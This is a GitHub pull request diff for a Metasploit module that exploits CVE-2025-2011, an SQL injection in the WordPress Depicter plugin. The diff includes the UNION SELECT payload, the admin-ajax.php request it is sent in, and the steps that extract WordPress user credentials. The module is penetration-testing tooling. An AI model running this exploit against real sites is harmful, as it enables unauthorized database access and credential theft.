Skip to content

Fix auxiliary/gather/wp_depicter_sqli_cve_2025_2011 #20382

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 6 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
52 changes: 28 additions & 24 deletions modules/auxiliary/gather/wp_depicter_sqli_cve_2025_2011.rb
Original file line number Diff line number Diff line change
Expand Up @@ -21,8 +21,8 @@ def initialize(info = {})
in admin-ajax.php.
},
'Author' => [
'Muhamad Visat', # Vulnerability Discovery
'Valentin Lobstein' # Metasploit Module
'Muhamad Visat', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
Expand All @@ -31,10 +31,6 @@ def initialize(info = {})
['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-2011'],
['URL', 'https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179']
],
'Actions' => [
['SQLi', { 'Description' => 'Perform SQL Injection via admin-ajax.php?s=' }]
],
'DefaultAction' => 'SQLi',
'DefaultOptions' => {
'VERBOSE' => true,
'COUNT' => 1
Expand All @@ -60,29 +56,34 @@ def get_sqli_object
r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) }
injected = "#{r1}') UNION SELECT #{r2},#{r3},(#{expr}),#{r4},#{r5}-- -"

endpoint = normalize_uri('wp-admin', 'admin-ajax.php')
params = {
'action' => 'depicter-lead-index',
's' => injected,
'perpage' => rand(10..50).to_s,
'page' => rand(1..3).to_s,
'orderBy' => 'source_id',
'order' => ['ASC', 'DESC'].sample,
'dateStart' => '',
'dateEnd' => '',
'sources' => ''
}
res = send_request_cgi(
'method' => 'GET',
'uri' => endpoint,
'vars_get' => params
'uri' => normalize_uri('wp-admin', 'admin-ajax.php'),
'vars_get' => {
'action' => 'depicter-lead-index',
's' => injected,
'perpage' => rand(10..50).to_s,
'page' => rand(1..3).to_s,
'orderBy' => 'source_id',
'order' => %w[ASC DESC].sample,
'dateStart' => '',
'dateEnd' => '',
'sources' => ''
}
)
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200

extracted = res.get_json_document.dig('hits', 0, 'content', 'id')
return GET_SQLI_OBJECT_FAILED_ERROR_MSG if extracted.to_s.empty?
next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200

doc = res.get_json_document
value = if doc.respond_to?(:dig)
doc.dig('hits', 0, 'content', 'id')
else
GET_SQLI_OBJECT_FAILED_ERROR_MSG
end

extracted
next GET_SQLI_OBJECT_FAILED_ERROR_MSG if value.to_s.empty?

value
end
end

Expand All @@ -96,6 +97,9 @@ def check

def run
@sqli ||= get_sqli_object
if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
fail_with(Failure::UnexpectedReply, @sqli)
end
wordpress_sqli_initialize(@sqli)
wordpress_sqli_get_users_credentials(datastore['COUNT'])
end
Expand Down